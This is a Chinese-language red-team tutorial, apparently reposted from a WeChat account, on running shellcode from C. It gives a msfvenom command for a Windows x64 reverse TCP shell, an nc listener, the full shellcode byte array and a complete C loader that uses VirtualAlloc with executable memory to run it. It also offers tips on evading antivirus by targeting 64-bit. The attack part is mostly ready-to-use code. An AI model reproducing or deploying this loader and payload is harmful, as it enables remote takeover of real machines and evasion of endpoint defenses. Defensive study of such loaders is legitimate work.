红队 101:使用 C 执行恶意 Shellcode — 初学者指南

admin 2024年8月2日16:30:30评论10 views字数 5148阅读17分9秒阅读模式

红队 101:使用 C 执行恶意 Shellcode — 初学者指南

我们为什么首先需要 shellcode

第一个问题对于初学者来说比较复杂。优秀的 Pentester/Red Teamer 可以编写自己的工具,例如 stager、c2 信标、漏洞利用等等……如果您只依赖公开可用的工具,您的掩护就会被破坏,因为所有主要的 EDR 都已使用其签名进行了更新。这就是为什么我们必须坚持使用自定义代码,但为什么我们需要使用 shellcode?好吧……为了从内存中操作(大多数情况下,这意味着迁移到进程中,但不将文件拖放到磁盘),我们必须提供机器本身可以理解的指令。

Shellcode 是原始 CPU 指令的十六进制表示。大多数情况下,shellcode 是将 stdin、stdout 和 stderr 重定向到远程侦听器的指令(这就是反向 shell 的实际工作方式)。

现在,为什么我们需要使用 C?

我们不能使用更适合初学者的编程语言吗?我们可以,但是有一个问题!

为了使用内存,我们必须访问所谓的 Windows API。这是 Windows 实际工作的内部机制,从分配内存到生成进程。为了使用此类 API,我们必须添加特定库或声明特定方法。对于高级编程语言来说,这可能很复杂,因为对于每个需要的 WIN32 API 方法,都必须执行新的 DLLImport!

此外,像 C# 这样的语言正在使用垃圾收集器,而低级编程语言具有直接内存访问(这一点必须认真对待)。

对于 C/C++,为了访问此类 API,我们唯一需要做的就是包含 <windows.h> 库。很简单,对吧?

由于 C/C++ 是低级语言,因此与 Windows API 和内存操作的集成非常简单。虽然这些语言在 OOP 方面并不友好,但在渗透测试和红队方面却非常方便。

每个 C/C++ 程序在代码成功编译后都会生成一个可移植可执行文件 (PE),这对于 c2 dropper 来说是完美的,因为不需要额外的文件(例如 dll)。

行动

今天练习的想法是创建一个 C 程序,该程序可以在其自己的进程内存上下文中执行 shellcode。我们将从头开始构建,并在将来展示更复杂的东西。

为了运行 shellcode,我们首先必须有一个,对吧?让我们用 msfvenom 生成一个 shell_reverse_tcp shellcode:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT=443 -fc
强烈建议尽可能坚持使用 64 位架构。有时只需更改架构,我们就可以逃避一些防病毒解决方案,因为它们仍然针对 32 位恶意软件进行了优化。

在此演示中,我们将使用无阶段有效载荷以简化操作。在实际操作中,我们应该编写自定义阶段程序,但这不是今天的主题。

现在让我们设置监听器:

nc -nvlp 443

监听器已经准备好了,让我们打开 C/C++ IDE(我个人使用 Dev-C++)并添加库导入以及从 msfvenom 生成的 shellcode 作为全局变量。

#include <stdio.h>#include <windows.h>unsigned char buf[] = "xfcx48x83xe4xf0xe8xc0x00x00x00x41x51x41x50x52""x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48""x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9""x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41""x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48""x01xd0x8bx80x88x00x00x00x48x85xc0x74x67x48x01""xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48""xffxc9x41x8bx34x88x48x01xd6x4dx31xc9x48x31xc0""xacx41xc1xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4c""x24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0""x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04""x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59""x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48""x8bx12xe9x57xffxffxffx5dx49xbex77x73x32x5fx33""x32x00x00x41x56x49x89xe6x48x81xecxa0x01x00x00""x49x89xe5x49xbcx02x00x01xbbxc0xa8xfex82x41x54""x49x89xe4x4cx89xf1x41xbax4cx77x26x07xffxd5x4c""x89xeax68x01x01x00x00x59x41xbax29x80x6bx00xff""xd5x50x50x4dx31xc9x4dx31xc0x48xffxc0x48x89xc2""x48xffxc0x48x89xc1x41xbaxeax0fxdfxe0xffxd5x48""x89xc7x6ax10x41x58x4cx89xe2x48x89xf9x41xbax99""xa5x74x61xffxd5x48x81xc4x40x02x00x00x49xb8x63""x6dx64x00x00x00x00x00x41x50x41x50x48x89xe2x57""x57x57x4dx31xc0x6ax0dx59x41x50xe2xfcx66xc7x44""x24x54x01x01x48x8dx44x24x18xc6x00x68x48x89xe6""x56x50x41x50x41x50x41x50x49xffxc0x41x50x49xff""xc8x4dx89xc1x4cx89xc1x41xbax79xccx3fx86xffxd5""x48x31xd2x48xffxcax8bx0ex41xbax08x87x1dx60xff""xd5xbbxf0xb5xa2x56x41xbaxa6x95xbdx9dxffxd5x48""x83xc4x28x3cx06x7cx0ax80xfbxe0x75x05xbbx47x13""x72x6fx6ax00x59x41x89xdaxffxd5";
我们将 shellcode 缓冲区存储在何处非常重要。如果它是全局变量或本地变量,它将存储在不同的 PE 部分中。以后会详细介绍!

下一步是定义 main 方法。所有 c 程序都必须有 main,以便了解从哪里开始执行。

int main(){ return 0;}

为了执行 shellcode,我们必须:

  • 为 shellcode 分配内存。

  • 将 shellcode 缓冲区复制到该内存。

  • 执行它。

分配步骤由名为 VirtualAlloc 的 WIN32 API 执行(https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc)

void *exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

通过定义一个指针,我们后面就可以知道分配是在哪个内存地址进行的。参数很简单,第一个是lpAddress,设置为0,OS会自动找到函数执行的起始地址。第二个是shellcode的大小。第三个参数是分配类型标志,第四个是内存标志。

下一步是将 shellcode 复制到分配的内存中。这是通过 memcpy 函数完成的(这就是我们需要指针的原因):

memcpy(exec, buf, sizeof buf);

第三步是实际执行 shellcode。C 语法很奇怪而且令人困惑,所以最好在某处记下来:

((void(*)())exec)();

完整代码如下:

#include <stdio.h>#include <windows.h>unsigned char buf[] = "xfcx48x83xe4xf0xe8xc0x00x00x00x41x51x41x50x52""x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48""x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9""x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41""x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48""x01xd0x8bx80x88x00x00x00x48x85xc0x74x67x48x01""xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48""xffxc9x41x8bx34x88x48x01xd6x4dx31xc9x48x31xc0""xacx41xc1xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4c""x24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0""x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04""x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59""x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48""x8bx12xe9x57xffxffxffx5dx49xbex77x73x32x5fx33""x32x00x00x41x56x49x89xe6x48x81xecxa0x01x00x00""x49x89xe5x49xbcx02x00x01xbbxc0xa8xfex82x41x54""x49x89xe4x4cx89xf1x41xbax4cx77x26x07xffxd5x4c""x89xeax68x01x01x00x00x59x41xbax29x80x6bx00xff""xd5x50x50x4dx31xc9x4dx31xc0x48xffxc0x48x89xc2""x48xffxc0x48x89xc1x41xbaxeax0fxdfxe0xffxd5x48""x89xc7x6ax10x41x58x4cx89xe2x48x89xf9x41xbax99""xa5x74x61xffxd5x48x81xc4x40x02x00x00x49xb8x63""x6dx64x00x00x00x00x00x41x50x41x50x48x89xe2x57""x57x57x4dx31xc0x6ax0dx59x41x50xe2xfcx66xc7x44""x24x54x01x01x48x8dx44x24x18xc6x00x68x48x89xe6""x56x50x41x50x41x50x41x50x49xffxc0x41x50x49xff""xc8x4dx89xc1x4cx89xc1x41xbax79xccx3fx86xffxd5""x48x31xd2x48xffxcax8bx0ex41xbax08x87x1dx60xff""xd5xbbxf0xb5xa2x56x41xbaxa6x95xbdx9dxffxd5x48""x83xc4x28x3cx06x7cx0ax80xfbxe0x75x05xbbx47x13""x72x6fx6ax00x59x41x89xdaxffxd5";int main(){ void *exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, buf, sizeof buf); ((void(*)())exec)(); return 0;}

编译并运行后,我们观察到控制台窗口空闲,但是回调存在:

红队 101:使用 C 执行恶意 Shellcode — 初学者指南

编译并运行代码

红队 101:使用 C 执行恶意 Shellcode — 初学者指南

接收回调

结论

说到攻击性编码,我可以说 C/C++ 做得很棒!当然,我们不能局限于它们,但我们的想法是积累更多的知识,这样我们就可以挑选出一种适合我们在运行时需要的工具。

构建这样的 shellcode 运行器很有趣,我们一定会在未来的博客/视频中升级。

敬请关注并感谢您的阅读!

原文始发于微信公众号(Ots安全):红队 101:使用 C 执行恶意 Shellcode — 初学者指南

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月2日16:30:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   红队 101:使用 C 执行恶意 Shellcode — 初学者指南https://cn-sec.com/archives/2985788.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息